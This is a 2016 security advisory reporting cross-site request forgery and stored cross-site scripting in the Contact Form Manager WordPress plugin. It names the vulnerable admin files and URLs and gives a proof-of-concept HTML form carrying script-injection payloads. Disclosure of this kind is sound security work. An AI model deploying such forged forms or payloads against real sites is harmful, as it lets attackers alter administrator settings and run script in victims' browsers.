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Cross-Site Request Forgery & Cross-Site Scripting in Contact Form
Manager WordPress Plugin
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Edwin Molenaar, July 2016
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Abstract
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It was discovered that Contact Form Manager does not protect against
Cross-Site Request Forgery. This allows an attacker to change arbitrary
Contact Form Manager settings. In addtion, the plugin also fails to
apply proper output encoding, rendering it vulnerable to stored
Cross-Site Scripting.
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OVE ID
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OVE-20160718-0003
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Tested versions
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These issues were successfully tested on Contact Form Manager WordPress
Plugin version
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Fix
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There is currently no fix available.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery___cross_site_scripting_in_contact_form_manager_wordpress_plugin.html
These issues exists, because the plugin lacks an anti-CSRF token. Also improper filtering/output encoding is done on $_POST parameters. These issues are present in the filed contact-form-manager/admin/add_smtp.php and contact-form-manager/admin/form-edit.php.
The username input field on the XYZ Contact > SMTP Settings is vulnerable for Cross-Site Scripting, as wel as the Contact Form Name input field on the XYZ Contact > Contact Form page.
SMTP Settings URL:
http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp
Contact Forms URL:
http://<target>/wp-admin/admin.php?page=contact-form-manager-managecontactformsp
Proof of concept
<html>
<body>
<form id="f1" method="POST" action="http://<target>/wp-admin/admin.php?page=contact-form-manager-manage-smtp&action=add-smtp">
<table>
<tr><td>xyz_cfm_SmtpAuthentication<td><input name="xyz_cfm_SmtpAuthentication" value="true" size="100"></tr>
<tr><td>xyz_cfm_SmtpEmailAddress<td><input name="xyz_cfm_SmtpEmailAddress" value="<svg onload=alert(document.domain)>" size="100"></tr>
<tr><td>xyz_cfm_SmtpHostName<td><input name="xyz_cfm_SmtpHostName" value="<svg onload=alert(document.domain)>" size="100"></tr>
<tr><td>xyz_cfm_SmtpPassword<td><input name="xyz_cfm_SmtpPassword" value="<svg onload=alert(document.domain)>" size="100"></tr>
<tr><td>xyz_cfm_SmtpPortNumber<td><input name="xyz_cfm_SmtpPortNumber" value="25" size="100"></tr>
<tr><td>xyz_cfm_SmtpSecuirity<td><input name="xyz_cfm_SmtpSecuirity" value="notls" size="100"></tr>
</table>
</form>
<button onclick="document.getElementById('f1').submit()">Submit</button>
</body>
</html>
